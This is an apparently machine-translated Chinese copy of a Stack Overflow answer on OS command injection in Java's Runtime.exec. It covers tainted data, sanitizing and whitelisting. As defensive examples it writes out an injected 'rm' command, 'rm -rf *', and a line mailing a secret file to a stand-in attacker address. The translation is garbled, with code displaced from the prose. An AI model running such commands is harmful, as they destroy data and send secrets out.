没有运行时api执行可以执行OS命令注入?

时间:2016-10-11 08:29:19

标签: java security owasp

根据我对site OS(linux / windows)命令的理解,可以执行命令 仅当我在Runtime.exec

中使用任何字符串作为参数时

我的问题是,如果我不使用任何请求参数(来自用户)或实际上Runtime.exec下的任何字符串都可以执行OS命令?我的答案是它不应该是可能的 无论如何。

1 个答案:

答案 0 :(得分:1)

最安全的做法是始终避免像node_modulessystem()这样的来电 - 事实上在某些组织中,如果您的应用程序这样做,您绝对不会通过安全审核。

但是,正如您所暗示的那样,您可以采取措施使其安全。一个有用的概念是" tainted"数据。用户或客户端提供的一段数据污染。由污染数据构建的数据也会受到污染。您可以"取消*数据,例如将其映射到列入白名单的选项,或清除它。

exec()

您可以看到 String name = request.getBody(); // tainted String cmd = "grep " + name + " customers.txt"; // also tainted String cleanName = sanitize(name); // untainted String cleanerName = validNameMap.get(name); // untainted String literal = "a literal string"; // untainted 如何返回request.getBody()然后slim是安全的。但是,如果用户提供的数据为grep slim customers.txt,那么slim customers.txt; rm生成的cmd就是坏消息。

除了grep slim customers.txt; rm customers.txt之外,

sanitize()可能会删除所有内容。

清理程序有很大的余地是天真的,而且不够彻底,这可能是攻击媒介 - 所以白名单被认为更安全。

(有许多语言的工具可以分析代码,并警告您来自不受信任来源的数据是否写入不安全的目的地:https://www.owasp.org/index.php/Source_Code_Analysis_Tools

如果传递给a-zA-Z的字符串没有被污染,那么这是迈向安全的一步。然而,仍然存在危险的方法。考虑:

exec()

现在, String command = "/usr/local/bin/myProgram"; String path = "/tmp/inputfile"; createNewFile(path, request.getBody()); runtime.exec(command, path); command都没有受到影响 - 它们不是由用户提供的 - 但我们通过该文件将染色数据传递给path,并且&#39 ;风险是myProgram会对数据做一些危险的事情。

最明显的例子是myProgramcommand,而请求正文是/bin/bashrm -rf *

但是有很多更微妙的方法可能会有风险。例如,cat secretFile | mail blackhat@naughtyhacker.com可能使用文件的内容来构建SQL请求。

您可以在各个地方减轻这些风险。您可以在将数据写入文件之前对数据进行清理,或者您可以在安全模型中明确说明文件的内容受到污染,myprogram必须将其视为此类,并自行进行无操作。